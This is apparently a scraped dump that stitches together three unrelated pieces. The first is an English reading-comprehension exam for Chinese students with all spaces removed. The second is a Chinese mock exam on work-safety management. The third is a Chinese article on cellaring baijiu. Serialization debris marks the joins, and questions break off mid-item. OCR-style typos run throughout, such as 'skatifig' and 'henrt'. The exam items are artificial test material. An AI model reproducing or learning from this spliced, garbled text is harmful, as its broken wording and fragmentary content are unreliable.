@#@tknow38todo,ThetwoCanadianwomenheard39andskatedovertogettheboyoutofthewater.@#@Theicewas40.ThetwoCanadiansfellintothewater,too.But@#@theytriedtheirbestto41thelittleboy.Theyknewtheymustbe42.Iftheydidn'@#@tpushhimupontotheice,bewouldsoondie.@#@Manypeopleranoverto43them.Someofthemhadropesandpoles.Ayoungmanjumpedintothewatertosavethe44people.@#@TheboyandthetwoCanadianwomenwereoutofwateratlast.Oneofthewomendidn'@#@tfeelwell.Shewassenttothe45atonce.Butshefeltveryhappybecausetheboywassaved.@#@()36.A.boatingB.skatifigC.plantingD.swimming@#@()37.A.brokeB.shoneC.closedD.flew@#@()38.A.whoB.whenC.whatD.where@#@()39.A.oneB.himC.themD.her@#@()40.A.bigB.smallC.thickD.thin@#@()41.A.saveB.wakeC.seeD.tell@#@()42.A,slowB.quickC.sorryD.wrong@#@()43.A.playB.shoutC.pushD.help@#@()44.A,twoB,threeC.fourD.five@#@()45.A.hospitalB.schoolC.libraryD.home@#@四.阅读理解(每小题2分,共40分)@#@A@#@MichaelJacksonisoneoftheWorld'@#@sbestsingers.MichaelJacksonwasborninthemiddlewestofthecityofGary,Indiana,in1958.Hebegansingingwithhisfourbrothers.Theycalledthegroup"@#@TheJacksonFive"@#@.Tilegroupbecameverypopularafterappearingonatelevisionprogram.Theystartedsingingin1965,andbecamepopularsoon.In1970thegroupmadetheirfirstrecordwiththenameofIWantYouBack.Itwasverypopular.OneoftheirhitrecordswasNeverSayGoodbye.@#@Michaelwasgoodatdancingaswellassinging.forexample,hisdancemovesandmoonwalking,Hewasaskedtoactinafilmin1978forthefirsttime,andinthesameyearhemadearecordonhisown,whichsoldeightmillioncopiesallovertheworld,@#@Michaelnearlydidn'@#@tgoourbecausehewastoofamous.Oncehisfanswereoffinafaint(晕倒)whentheysawhimattheconcert.Noonecandoitbynow.Helivedinalargehousearidkeptloisofanimals.Heneveratemeat.HeoftenraisedmoneyforCharity,ThismadehimwintheGuinnessWorldRecords(吉尼斯世界纪录)in2006.HediedonJune25th,2009,buthewouldliveinourhenrtforever.@#@()46.HowmanypeoplewerethereinMichael'@#@sgroup?
@#@@#@A.Three.B.Four.C.Five.D.Six.@#@()47.What'@#@sthenameoftheirfirstrecord?
@#@@#@A.NeverSayGoodbye,B,SeeYou,SeeMe.@#@C.IWantYouBack.D.OntheWorld.@#@()48.Theunderlinedword"@#@copies"@#@meansinChinese.@#@A.抄写B,张/份C.复制D.模仿@#@()49.Michaelwasgoodataccordingtothepassage.@#@A.rockmusicB.streetdance@#@C.playingthepianoD.moonwalking@#@()50.WhydidMichaelhavetostayathomemostoftime?
@#@@#@A.Becausehewastoofamous.@#@B.Becauseheoftenfeltlonely.@#@C.Becausehehadnofriends.@#@D.Becausehiscompanyaskedhimtodoso.@#@B@#@Lindawasasixteen-year-oldgirlinCanada.Shewasfeelingbadforseveraldays.Hermothertookhertoahospitalandthedoctorsfoundoutthatshehadcancer.@#@Lnda'@#@slifechanged.Shehegantogotothehospitaloftenfortreatment(治疗).andshealsobecamedepressed.@#@Thehospitalsandthedoctorsweregood,butLindadidnothavehopeherselfLinda'@#@smothercalledaflowershopclosetothehospital."@#@Iwantsomebeautifulflowersformydaughter.Sheisateengirlwithcancer."@#@@#@Shetoldtheshopowner.@#@Later.theflowersarrived.ThenLindasawsomethingunusual.Itwasacard.Itread.@#@Linda.@#@Iown(拥有)thisflowershop.IhadcancerwhenIwasfifteenyearsold.Iam24yearsold,now.Goodluck,Myheartgoesouttoyou.@#@Lndasmiled.Shefinallyfeltsomerealhope.Shefoundthewill(意志)tolive.@#@Littlethingsmakeabigdifference.Allofuscangivelittlethingslikekindness.encouragementandhopetoothers.@#@()51.WhywasLindafeelinghadforseveraldays?
@#@@#@A.Becauseshewasscriotlslyill.@#@B.Becauseshehadnofriend.@#@C.Becanseherlifechanged.@#@D.Becausehermotherdidn’tlikeher.@#@()52.Whatdoestheunderlinedword"@#@depressed"@#@meaninParagraph2?
@#@@#@A.SafeB.Serious.C.Sad.D.dangerous.@#@()53.WhosentLindaacard?
@#@@#@A.Hermother.B.Adoctor.C.Ashopowner.D.Herteacher.@#@()54.WhathappenedtoLindaafterreadingthecard?
@#@@#@A.Shebecamehopefulaboutlife.@#@B.Shewantedtoworkwiththeshopowner.@#@C.Shetankedhermotheralot.@#@D.Shebecamemuchsadder.@#@()55.Whichofthefollowingscanbethebesttitleforthepassage?
@#@@#@A.Bekindtoyourself.@#@B.Littlethingsmakeabigdifference.@#@C.Trysomethingdifferent.@#@D.Howtomakefriends.@#@C@#@l.otsofkidshateschool,anewstudyfound.Usuallythiskindoffeelingdoesn'@#@tlastlong.Butwhathappensifyoufeelthiswaytoomuch?
@#@Schoolisafactoflifeandgettingagoodeducationcanhelpyoubuildthekindoffuturelifeyouwant.Solet'@#@stalkaboutschoolandwhattodowhenyoudon'@#@tlikeit.@#@Ifyoudon'@#@tlikeschool,thefirststepistofindourwhy.Youmightnotlikeschoolbecauseyoudon'@#@thaveenoughfriends,ormaybeyoudon'@#@tgetalongwithyourteacher.Sometimeit'@#@sabigproblemwithyourclassesandschool-work.Youmayhegettingfartherandfartherbehind,anditmayseemlikeyou'@#@llnevercatchup.@#@Whenyouknowwhyyoudon'@#@tlikeschool,youcanstarttakingstepsromakethingsbetter.It'@#@sagoodideatotalktosomeoneaboutyourproblemswithschool.,Yourmum,dad,teacherorschoolcounselor(顾问)willbeabletohelpyou.Anothergoodideaistowritedow'@#@hyourfeelingsaboutschoolinanotebook.It'@#@sagreatwaytoletoutemotions(情绪).Remember,youdon'@#@thavetosharewhatyou'@#@vewrittenwithothers.@#@()56.Lotsofkids,accordingrothewriter.@#@A.likeschoolverymuchB.aregoodatreadingandwriting@#@C.";i:
37;s:
27211:
"安全工程师《安全生产管理知识》模拟考试试题含答案@#@省(市区)姓名准考证号@#@………密……….…………封…………………线…………………内……..………………不…………………….准…………………答….…………题…@#@安全工程师《安全生产管理知识》模拟考试试题含答案@#@考试须知:
@#@@#@1、考试时间:
@#@150分钟,本卷满分为100分。
@#@@#@2、请首先按要求在试卷的指定位置填写您的姓名、准考证号等信息。
@#@@#@3、请仔细阅读各种题目的回答要求,在密封线内答题,否则不予评分。
@#@@#@一、单选题(本大题共70小题,每题1分,共70分)@#@1、为了保证企业组织结构的稳定性和管理的有效性,某企业根据甲、乙、丙三位职工的从业经验和能力等综合因素分析,对三位职工岗位进行了重新调整,这种调整,符合安全生产管理原理的()@#@A、整分合原则@#@B、能级原则@#@C、3E原则@#@D、激励原则@#@2、职业性有害因素是指危害从人员健康的各类因素。
@#@按其来源,生产过程中有害因素可分为()@#@A、物理因素、化学因素和生物因素@#@B、生产因素、难关因素和经济因素@#@C、管理因素、技术因素和个体因素@#@D、生产过程因素、劳动过程因素和生产环境因素@#@3、人工开挖基坑时,两人操作间距应大于()m。
@#@@#@A、1@#@B、2@#@C、3@#@4、停工留薪期内,工伤职工原工资福利待遇由()@#@A、由所在单位按月支付@#@B、由工伤保险基金支付@#@C、不再享受原工资福利待遇@#@5、煤矿安全监察人员代表国家履行煤矿安全检查职责,具有明确的法律地位和职责范围。
@#@下列内容中,属于煤矿安全监察人员职责的是()@#@A、组织煤矿安全技术措施的制度和落实@#@B、负责煤矿安全措施费用的提取和使用@#@C、参与建设工程安全设施设计审查和竣工验收@#@D、制定安全目标管理制度和操作流程@#@6、在企业安全生产管理过程中,对于不同岗位所需安全生产管理人员的安排,要根据其个人从业经验、能力等综合因素决定,这体现了()@#@A、整分合原则@#@B、能级原则@#@C、3E原则@#@D、激励原则@#@7、某冷库为扩大生产,在原有液氨储存量为3t的基础上,又计划在同一厂区内280m范围内新建存储量为6t的液氨制冷设备。
@#@为提高企业安全防范水平,聘请评价机构对其拟扩建设备进行了安全评价。
@#@该冷库需要进行的安全评价是()@#@A、安全预评价@#@B、安全验收评价@#@C、安全现状评价@#@D、安全专项评价@#@8、新建、改建、扩建生产、储存危险化学品的建设项目(以下简称建设项目),应当由()进行安全条件审查。
@#@@#@A、安监部门@#@B、公安部门@#@C、民政部门@#@D、消防部门@#@9、“连锁”装置是对预防原理的()的应用。
@#@@#@A、因果关系原则@#@B、“3E”原则@#@C、本质安全化原则@#@D、偶然损失原则@#@10、某车间在进行起吊作业时,由于起吊物的重量超过了起重设备的额定起重量,造成了起吊设备倾翻,设备下方的作业人员当场死亡。
@#@根据《企业职工伤亡事故分类标准》(GB6441—1986),这起事故为()事故。
@#@@#@A、物体打击@#@B、机构伤害@#@C、坍塌@#@D、起重伤害@#@11、下列属于工艺设备的危险有害因素的是()@#@A、紧急集合点位于工艺区下风向@#@B、反应釜未设置压力报警装置@#@C、设备耐火等级与建筑不符@#@D、控制室与工艺区靠太近@#@12、事故频发倾向理论认为工业事故发生的主要原因是()@#@A、设备故障@#@B、少数有精神或心理缺陷的工人@#@C、违章或违规操作@#@D、安全生产管理松散@#@13、进入密闭空间作业前,应使用经检定合格的检测仪器,检测该密闭空间的()@#@A、能见度@#@B、氧含量@#@C、环境温度和温度@#@D、嗓声强度@#@14、某单位共有员工500人,由于作业场所观察期内可能发生尘肺病的平均人数为40人,同期新发病人数1人。
@#@2015年9月对120名员工进行尘肺病检查时,共有4人患尘肺病,则该单位尘肺病的发病率和患病率分别是()@#@A、0.2%和1%@#@B、2.5%和3.3%@#@C、0.8%和25%@#@D、1%和0.2%@#@15、建立重大危险源监控预警系统的目的主要是监视重大危险源在()情况下的运行情况及状态,并对其实时和历史趋势作一个整体评判,对系统的下一时刻做出超前的预警行为。
@#@@#@A、正常@#@B、非正常@#@C、临界@#@D、失效@#@16、某化工厂新建一套80万t/年乙烯装置。
@#@根据《安全生产法》的规定,应由()组织制定与该项目相适应的企业安全生产规章制度和操作规程。
@#@@#@A、工艺工程师@#@B、安全工程师@#@C、本单位的主要负责人@#@D、工艺和设备技术人员@#@17、安全生产检查的工作程序一般包括检查前准备、实施检查、检查结果分析、提出整改要求、整改落实、整改结果反馈等。
@#@认真做好检查前的各项准备工作,可使安全检查工作事半功倍。
@#@下列事项中,属于检查前准备内容的是()@#@A、查阅岗位安全生产责任制的考核记录@#@B、查阅检查对象的日常维护和保养记录@#@C、分析检查对象可能出现的危险、危害情况@#@D、进行检查对象风险控制措施有效性后评估@#@18、根据有关规定,建设项目安全预评价由()承担。
@#@@#@A、建设项目设计单位@#@B、建设单位@#@C、具有相应资质的单位@#@D、安全生产监督管理部门指定的单位@#@19、塔机主要承载结构件由于腐蚀或磨损而使结构的计算应力提高,当超过原计算应力的15%时应予报废。
@#@无计算条件的当腐蚀深度达原厚度的()%时应予报废。
@#@@#@A、20@#@B、8@#@C、10@#@D、5@#@20、根据安全生产管理原则,对于生产经营单位,安全生产需要保护的第一对象是()@#@A、设备@#@B、技术@#@C、人员@#@D、资料@#@21、某烟花爆竹生产企业于2016年开始建设,2017年开始正式生产,为加强安全生产费用管理,保障企业安全生产资金投入,维护企业、职工以及社会公共利益,按照有关规定,准备对2017年发生的支出进行合规性管理。
@#@下列支出中,不应在企业安全生产费用中列支的是()@#@A、配备、维护、保养防爆机械电器设备支出@#@B、安全验收评价支出@#@C、配备和更新现场作业人员安全防护用品支出@#@D、特种设备检测检验支出@#@22、根据可能产生职业病危害程度的不同,《建设项目职业病危害管理办法》将建设项目分为一般职业病危害项目和严重职业病危害项目。
@#@下列项目中,不属于严重职业病危害项目的是()@#@A、可能产生高度和极度危害化学物质的项目@#@B、可能产生石棉纤维的项目@#@C、可能产生10%以下游离二氧化硅粉尘的项目@#@D、可能产生放射性职业危害因素的项目@#@23、建设单位在编制()时,应当确定建设工程安全作业环境及安全施工措施所需费用。
@#@@#@A、安全投入@#@B、制造费用@#@C、生产费用@#@D、工程概算@#@24、生产经营单位应对重大危险源登记建档,并将重大危险源相关情况报有关地方人民政府负责安全生产监督管理的部门备案。
@#@下列关于重大危险源的事项,不需要备案的是()@#@A、重大危险源安全评价报告@#@B、重大危险源的监控措施@#@C、日常检查发现一般隐患的整改情况@#@D、重大危险源事故应急救援预案@#@25、建筑施工企业应建立安全生产责任()制度。
@#@@#@A、管理@#@B、分配@#@C、考核奖惩@#@D、备案@#@26、职业病诊断、鉴定费用由()承担。
@#@@#@A、鉴定者@#@B、用人单位@#@C、卫生行政部门@#@D、劳动保障部门@#@27、()将越来越受到大家的重视,这也将是建筑安全管理发展的一个方向@#@A、宏观管理@#@B、微观管理@#@C、全寿命周期安全管理@#@D、项目实施期安全管理@#@28、《企业安全文化建设评价准则》中给出了企业安全文化评价的要素、指标、减分指标、计算方法等,以下选项中不属于安全信息传播这一评价指标的为()@#@A、安全建议@#@B、自我完善@#@C、信息系统@#@D、信息资源@#@29、施工现场的道路应当设置交通指示标志。
@#@通行危险的地段应当悬挂(),夜间设置红灯示警。
@#@在车辆、行人通过的地方施工,应当对沟、坑、井等进行覆盖,并设置施工标志和防护设施@#@A、警告标志@#@B、警戒标志@#@C、安全标志@#@30、某建筑施工单位的宿舍因员工使用“热得快”烧水引起电线短路导致火灾,火灾发生后有人拨打火警119,并报告单位现场负责人。
@#@单位现场负责人接到电话后立即赶往现场指挥灭火。
@#@关于火灾事故应急救援基本任务及特点的说法,错误的是()@#@A、应急救援的重要任务是切断电源,控制、扑灭火情@#@B、应急救援活动具有不确定性和突发性特点@#@C、应急救援活动具有补救不及时可能造成激化和放大的特点@#@D、应急救援的基本任务是组织营救受害人员、抢运宿舍内重要财物@#@31、生产经营单位应设置安全管理机构或者配备专职、兼职安全生产管理员。
@#@甲企业是一家道路运输企业,拥有员工数量85人;@#@乙企业是一家食品加工公司,从业人员数量为155人;@#@丙企业是一家化工压力容器生产厂,从业人员数量为95人;@#@丁企业是一家金属冶炼公司,从业人员数量为88人。
@#@依据《安全生产法》,上述生产经营单位中,应当设置安全生产管理机构或者配备专职安全生产管理人员的企业是()@#@A、甲、乙、丙@#@B、甲、乙、丁@#@C、丙、丁@#@D、乙、丙@#@32、2016年11月,甲省乙市丙县的x运输公司在甲省丁市戌县Y公司内卸车作业时发生一起造成2人死亡的生产安全事故。
@#@依据《生产安全事故报告和调查处理条例》(国务院令第493号),下列关于这起事故调查工作的说法中,正确的是()@#@A、由丙县人民政府负责@#@B、由戌县人民政府负责@#@C、由丁市人民政府负责@#@D、由乙市人民政府负责@#@33、安全预评价工作在项目建设之前进行,运用系统系统安全工程的原理和方法对危险及有害因素,评价其危险度,提出相应的安全对策措施及建议,安全预评诊断要以建设项目的()座位主要依据。
@#@@#@A、初步设计@#@B、工业设计@#@C、可行性研究报告@#@D、安全卫生专篇@#@34、某公司在清理某化工厂污水管道时,清理人员需要照明灯具,依据《化学品生产单位特殊作业安全规范》GB30871--2014,下列关于照明灯具电压选择的说法中,正确的是()@#@A、受限空间内作业,照明电压应小于或等于36V@#@B、潮湿容器内作业,照明电压应小于或等于18V@#@C、狭小容器内作业,照明电压应小于或等于12V@#@D、受限空间内作业,照明电压应小于或等于24V@#@35、生产经营单位建立安全生产责任制的总体要求是横向到边、纵向到底。
@#@横向到边是指()都有相应的安全生产责任。
@#@@#@A、所有党政工团的职能部门@#@B、从主要负责人到岗位工人@#@C、从主要负责人到各级安全管理人员@#@D、所有行政职能部门@#@36、施工组织设计以及达到一定规模的危险性较大的分部分项工程的专项施工方案经()审批签字后,方可实施。
@#@@#@A、施工单位技术负责人@#@B、工程监理单位总监理工程师@#@C、工程项目技术负责人和工程监理单位监理工程师@#@D、施工单位技术负责人和工程监理单位总监理工程师@#@37、在设备、设施等物品上涂的不同颜色,用以提醒人们注意安全。
@#@()是安全色的应用。
@#@@#@A、管道等涂以不同颜色@#@B、电线的颜色@#@C、氮气瓶上涂的黄色@#@D、紧急停止按钮的颜色@#@38、企业提取的安全费用应当(),按规定范围安排使用,不得挤占、挪用。
@#@年度结余资金结转下年度使用,当年计提安全费用不足的,超出部分按正常成本费用渠道列支@#@A、专账核算@#@B、专户核算@#@C、记账凭证核算@#@D、汇总记账凭证核算@#@39、《企业职工伤亡事故分类标准》(GB6441-1986)将企业工伤事故分为20类。
@#@下列事故中,不属于该20类工伤事故的是()@#@A、物体打击@#@B、淹溺@#@C、尘肺病@#@D、瓦斯爆炸@#@40、按照建设部的有关规定,高度超过()的落地式钢管脚手架工程应当编制专项施工方案@#@A、20m@#@B、24m@#@C、30m@#@D、50m@#@41、企业安全生产培训管理一般包括:
@#@识别培训需求、制定培训计划、实施培训过程、评估培训效果和归档保存培训记录等环节。
@#@下列关于安全生产培训管理的说法,正确的是()@#@A、识别培训需求就是分析安全生产法律法规的要求@#@B、制定培训计划就是制定培训大纲@#@C、培训效果的评估方法之一是跟踪员工现场应用能力@#@D、培训记录应上交安全生产监督管理部门归档保存@#@42、对于重大危险源,政府有关部门应制定综合性的(),确保重大危险源与居民区和其他工作场所、机场、水库等公共设施安全隔离。
@#@@#@A、应急措施方案@#@B、风险评估制度@#@C、土地使用政策@#@D、监督管理方案@#@43、宋体某地区职业卫生监管机构统计某种职业病最近两年内在某行业中发生的频率。
@#@该行业此职业病的发病率的计算公式为()@#@A(检查时发现的现患病病例总数/该时点受检人数)×@#@100%@#@B(观察期内新发生例数/同期内可能发生该类职业病的平均人口数)×@#@100%@#@C(观察期内因该病死亡人数/同期内某病患者A数)×@#@100%@#@D(某年死亡总数/同年平均人口数)×@#@100%@#@44、某纺织厂为进行技术革新,从国外引进纺织机5台,并配套相应的生产设备若干。
@#@该厂再次投产前需要进行安全评价,评价机构可采用的评价方法有:
@#@①概率风险评价法②作业条件危险性评价法③伤害(或破坏)范围评价法④专家现场询问观察法⑤危险指数评价法⑥预先危险性分析法。
@#@为评估该纺织厂棉粉尘火灾、爆炸风险,可以使用的定量评价方法是()@#@A、②④⑤@#@B、①②⑥@#@C、①③⑤@#@D、③④⑥@#@45、()的场所不得与居住场所设置在同一建筑物内,并应当与居住场所保持安全距离。
@#@@#@A、人员密集@#@B、生产、储存、经营易燃易爆危险品@#@C、公共娱乐@#@D、歌舞、娱乐、放映@#@46、某煤矿发生瓦斯爆炸事故,造成1人死亡,3人重伤,该煤矿支付医疗费用,工伤补助费用,丧葬及抚恤费用计120万,清理现场费用30万元,事故造成财产损失200万元,停产损失300万元,补充新职工的培训费用1万元;@#@此外,还被煤矿安全监察部门给予行政罚款25万元。
@#@根掘《企业职工伤亡事故经济损失统计标准》(GB6721-86),本次事故造成的直接经济损失为()万元。
@#@@#@A、651@#@B、376@#@C、375@#@D、350@#@47、某企业在安全文化建设中,提出“三不伤害”原则,建立相应的机制以促使“三不伤害”原则落实到每个岗位,做到“个人自扫门前雪,还管他人瓦上霜”,取得较好效果。
@#@这主要发挥了企业安全文化功能中的()@#@A、辐射功能@#@B、凝聚功能@#@C、激励功能@#@D、同化功能@#@48、生产经营单位加强对安全生产责任落实情况的监督考核,保证()的落实。
@#@@#@A、安全生产规章制度@#@B、安全生产法律法规@#@C、安全生产各项政策@#@D、安全生产责任制@#@49、某大型企业集团拟建设年设计生产能力200万吨非煤矿山建设项目和跨甲乙两省输送距离1000km的石油天然气长输管道建设项目。
@#@根据国家有关规定,关于该集团两个建设项目监督管理的说法,正确的是()@#@A、非煤矿山项目需经国家安全生产监督管理部门审查和验收@#@B、非煤矿山项目需经省安全生产监督管理部门审查,国家安全生产监督管理部门备案@#@C、石油天然气长输管道建设项目需同时经甲、乙两省安全生产监督管理部门审查@#@D、石油天然气长输管道建设项目需经国家安全生产监督管理部门审查@#@50、甲建筑企业承建乙公司办公楼项目,按照相关要求组织制定了安全技术措施计划。
@#@经讨论后,由安全、技术、计划部门进行联合会审后,负责审批的人员是()@#@A、乙公司安全总监@#@B、乙公司技术总监@#@C、甲企业安全总监@#@D、甲企业总工程师@#@51、各类()应做到与工程交底、工作计划、施工安排同时进行@#@A、施工组织设计@#@B、安全技术交底@#@C、专项施工方案@#@D、安全技术措施@#@52、安全生产检查常采用现场检查的方式进行,通过检查可及时发现隐患并采取措施予以消除。
@#@现场安全检查方法中,可直接、定量地获取准确信息的方法是()@#@A、员工访谈@#@B、查阅记录@#@C、现场观察@#@D、仪器检查@#@53、配备、维护、保养应急救援器材、设备费用和应急演练费用属于()@#@A、安全施工费@#@B、文明施工与环境保护费@#@C、临时设施费@#@D、材料费@#@54、宋体电梯井口必须设防护栏杆,电梯井内应每隔2层并最多隔()m设一道安全网。
@#@@#@A、8@#@B、9@#@C、10@#@D、12@#@55、固定式直爬梯应用()制成@#@A、金属材料@#@B、木材@#@C、玻璃钢@#@56、某煤矿瓦斯抽放安全技术措施计划内容简介如下:
@#@①名称:
@#@矿井钻孔抽放瓦斯技术;@#@②试验地点:
@#@32031工作面进风巷;@#@③措施目的和内容:
@#@提高企业煤炭产量,在32031工作面布置瓦斯抽放钻孔;@#@④经营预算:
@#@70万元;@#@⑤实施部门和负责人:
@#@安全科李科长;@#@⑥开工日期和竣工日期:
@#@2016.10-2017.3;@#@⑦措施预期效果:
@#@降低巷道瓦斯超限率80%。
@#@基于以上资料,关于安全技术措施计划内容和编制格式的说法,正确的是()@#@A、安全技术措施计划编制包括两个方面范围,瓦斯抽放技术措施和管理措施@#@B、上述安全技术措施计划的目的是防止事故发生,编制内容包括7个方面@#@C、该措施计划中的“措施目的和内容”应修改为“改善职工生产环境,防止中毒窒息事故”@#@D、该计划应增加具有资质的煤矿设计研究院参加编写@#@57、事故责任分析是在事故原网分析的基础上进行的。
@#@由下列原因造成的事故,应负领导责任的是()@#@A、违章作业@#@B、违反劳动纪律@#@C、违反操作规程@#@D、安全生产规章不健全@#@58、为了加强安全生产工作,我国对若干具有较高生产安全风险的企业实行了安全许可制度。
@#@下列企业中,实行安全许可制度的是()@#@A、道路运输企业、危险化学品生产企业、民用爆破器材企业@#@B、烟花爆竹生产企业、民用爆破器材生产企业、冶金企业@#@C、危险化学品生产企业、矿山企业、机械制造企业@#@D、石油天然气开采企业、建筑施工企业、危险化学品生产企业@#@59、宋体某生产经营单位的市场部门正在开展合格供应商的选择评价。
@#@按照《职业健康安全管理体系》(OHSAS18001)的运行模式,该项工作属于体系运行的()阶段。
@#@@#@A、策划@#@B、实施与运行@#@C、检查与纠正措旋@#@D、管理评审@#@60、根据安全系统工程的原理,下列关于危险性与事故频率及事故后果严重程度关系的说法,最准确的是()@#@A、事故频率越大,危险性越大@#@B、事故后果越小,危险性越小@#@C、当事故频率不变时,危险性与事故后果严重程度成正比@#@D、当事故后果严重程度不变时,危险性与事故频率成反比@#@61、施工现场临时用电系统中,低压电缆线路绝缘电阻值用1kV摇表摇测,绝缘电阻不低于()MΩ@#@A、0.5@#@B、4@#@C、10@#@D、30@#@62、海因里希将事故因果连锁过程概括为五个要素,并用多米诺骨牌来形象地描述这种事故因果连锁关系。
@#@五个要素为()@#@A、人的缺点、人质不安全行为或物的不安全状态、能量意外释放、事故、伤害@#@B、遗传及社会环境、人的缺点、屏蔽失效、事故、伤害@#@C、人的缺点、管理缺陷、人的不安全行为或物的不安全状态、事故、伤害@#@D、遗传及社会环境、人的缺点、人的不安全行为或物的不安全状态、事故、伤害@#@63、安全标志是由安全色、几何图形和图形符号构成,其目的是引起人们对不安全因素的注意,预防安全事故。
@#@我国的国家标准中共规定了()个安全标志@#@A、110@#@B、106@#@C、112@#@64、企业应当在编制应急预案的基础上,针对工作场所、岗位的特点,编制简明、实用、有效的(),并张贴在岗位醒目位置。
@#@@#@A、应急处置卡@#@B、风险告知卡@#@C、危害告知卡@#@D、警示@#@65、某安全评价机构受当地矿山企业委托对一矿山进行安全现状评价,安全评价机构验出的安全现状评价步骤是:
@#@①以客观公正真实的原则,严谨、明确地做出评价结论;@#@②根据该矿山的具体情况,辨识和分析危险、有害因素,确定其存在的部位、方式和事故发生的途径及其变化规律;@#@③针对该矿山准备评价所需的设备、工具,收集相关法律、技术标准;@#@④合适的评价方法,对评价对象发生事故的可能性及其严重度进行评价;@#@⑤根据评价结果编写相应的安全评价报告;@#@⑥科学合理地划分评价单元;@#@⑦提出清除或减弱危险、有害因素的技术和管理措施建议。
@#@下列安全现状评价步骤中,排序正确的是()@#@A、④⑥⑦③①⑤②@#@B、⑦⑥③④①②③@#@C、③②⑥④⑦①⑤@#@D、③④⑥⑤②⑦①@#@66、国家对严重危及生产安全的工艺、设备实行()制度。
@#@@#@A、改造@#@B、淘汰@#@C、封存@#@D、维修@#@67、国务院负责安全生产监督管理的部门对全国安全生产工作实施()@#@A、监督管理@#@B、综合管理@#@C、综合监督管理@#@D、统一管理@#@68、职业危害控制措施一般包括工程控制技术措施、个体防护措施和组织管理措施.在化工生产过程中,属于控制化学毒物危害的工程技术措施是()@#@A、改变工艺用甲苯替代苯作为原料,@#@B、佩戴防毒面具,@#@C、建立健全预防控制制度@#@D、合理组织劳动过程@#@69、建设项目试生产正常运行后、正式投产前,安全评价机构应用系统工程原理和方法进行的检查性安全评价是()@#@A、安全专项评价@#@B、安全现状评价@#@C、安全验收评价@#@D、安全预评价@#@70、()是一种对系统工艺过程或操作过程的创造性分析方法,该方法比较简单。
@#@@#@A、危险指数方法@#@B、安全检查方法@#@C、故障假设分析方法@#@D、预先危险分析法@#@二、多选题(本大题共15小题,每题2分,共30分)@#@1、在经营活动中人们习惯上将劳动防护用品分为通用防护用品和专用防护用品。
@#@其中通用防护用品包括()@#@A、绝缘手套@#@B、防尘口罩@#@C、工作服@#@D、线手套@#@2、密目安全网应封闭(),封闭高度应保持高出操作层1.5m以上@#@A、严密@#@B、牢固@#@C、平整@#@D、美观@#@3、某矿业集团公司对下属矿山企业进行安全检查时发现,该企业尾矿库泄洪道下游约100米处有多处临建宿舍。
@#@针对上述尾矿库存在的隐患,下列说法中,正确的有()@#@A、该隐患应由矿山主要负责人立即组织整改@#@B、该隐患治理工作应确保安全投入到位@#@C、该隐患需向当地安全生产监督管理部门及时报告@#@D、该隐患属于较大事故隐患@#@E、该隐患应由尾矿库负责人立即组织整改@#@4、建筑施工企业主要负责人包括企业()等。
@#@@#@A、法定代表人@#@B、经理@#@C、企业分管安全生产工作的副经理@#@D、项目经理@#@E、分公司经理@#@5、建筑施工企业安全生产责任应形成责任书,责任书的内容应包括()规定等。
@#@@#@A、安全生产职责@#@B、应知应会@#@C、上岗资格@#@D、目标@#@E、考核奖惩@#@6、宋体某西部大型金属矿山在辨识矿井周边环境、厂房以及尾矿库存在的风险因素基础上,编制了山洪、火灾事故、极端天气等应急预案,关于该应急预案的说法,正确的有()@#@A、尾矿库溃坝专项应急预案应单独编制@#@B、火灾专项应急预案应包括火灾风险分析@#@C、应急预案附件应包括相关机构、人员联系方式、应急装备清单等文件资料@#@D、山洪应急预案不应作为生产安全事故综合应急预案范畴@#@E、各专项应急预案编制内容应包含9个要素@#@7、生产经营单位的从业人员有权了解其作业场所和工作岗位存在的()@#@A、技术要求@#@B、危险因素@#@C、防范措施@#@D、事故应急措施@#@E、环境评估@#@8、安全生产管理制度主要包括:
@#@()@#@A、安全生产责任制度@#@B、安全生产资金保障制度@#@C、安全生产教育培训制度@#@D、安全督查和处罚制度@#@E、安仝生产事故与报告与处理制度。
@#@@#@9、宋体列入国家主管部门公布的职业病目录的职业病称为法定职业病。
@#@界定法定职业病的基本条件有()@#@A、在职业活动中产生@#@B、接触职业危害因素@#@C、列入国家职业病范围@#@D、与劳动用工行为相联系@#@E、接触职业危害的时间@#@10、事故发生后,生产经营单位向政府部门报告的内容应包括:
@#@事故发生单位的概况、事故发生的时间、地点以及事故现场情况,事故的简要经过,事故弛造成或者可能造成的伤亡人数、()和其他应当报告的情况。
@#@@#@A、初步估计的直接经济损失@#@B、初步估计的";i:
38;s:
22232:
"白酒的储藏工艺窖藏和收藏@#@窖藏@#@窖藏是指把精挑细选出的优质原浆酒,盛入陶质容器或者是其他适宜窖藏的容器内,套盛入以陶质容器为主或其他适宜窖藏的容器内,贮藏在地下、岩洞、半地下的酒窖内,酒窖的温度要求四季温差不宜过大,也就是冬暖夏凉,通风良好。
@#@@#@由于原浆酒未添加白酒以外的任何物质,其酒分子仍保持着很好的稳定性,在窖藏的过程中,容器中的白酒在适宜的温度下透过容器呼吸着窖内干湿度适宜的空气,发生着三种变化:
@#@@#@1、挥发作用;@#@刚蒸出的白酒通常含有硫化氢、硫醇等挥发性的硫化物,同时也含有醛类等刺激性强的挥发性物质。
@#@这些物质在窖藏期间能够自然挥发。
@#@一般经过半年的窖藏后,几乎检测不出酒中硫化物的存在,使白酒的刺激性大大减轻。
@#@@#@2、分子间的缔合;@#@酒精和水都是极性分子,经窖藏后,使乙醇分子和水分子的排列逐步理顺,从而加强了乙醇分子的束缚力,降低了乙醇分子的活度,使白酒口感变得柔和,与此同时,白酒中其他香味物质分子也会产生上述缔合作用。
@#@当酒中缔合的大分子群增加,受到束缚的极性分子越多,酒质就会越绵软、柔和。
@#@@#@3、化学变化;@#@在窖藏过程中可以产生缓慢的化学变化。
@#@就是乙醇在醇酸酯化过程中生成新的酯类。
@#@窖藏的时间越长生成的酯类就越多,酒的香气就越大。
@#@也就是通常说的除杂增香。
@#@因此窖藏也就是贮藏的过程。
@#@而家庭个人收藏自己喜爱的酒不仅满足了本人的喜好,也是中华酒文化的体现。
@#@但家庭贮藏条件所限,可因地自宜,住楼房最好是底下室,如果在农村有地窖就更好了,这些地方贮藏酒,可以和地气想接,其相对湿度和酒窖很接近,但不能太过潮湿,经其岁月流转,吸其日精月华,假以时日,所藏之酒必成其为上品。
@#@@#@但是个人收藏白酒能否达到好的成效,首先取决于所藏之酒的品质:
@#@@#@1、必须是传统工艺生产的纯粮原浆酒。
@#@市场出售的瓶装白酒,大多数是加浆酒,所谓加浆,就是加水。
@#@工厂蒸馏白酒时的接酒度数一般在55度至65度间。
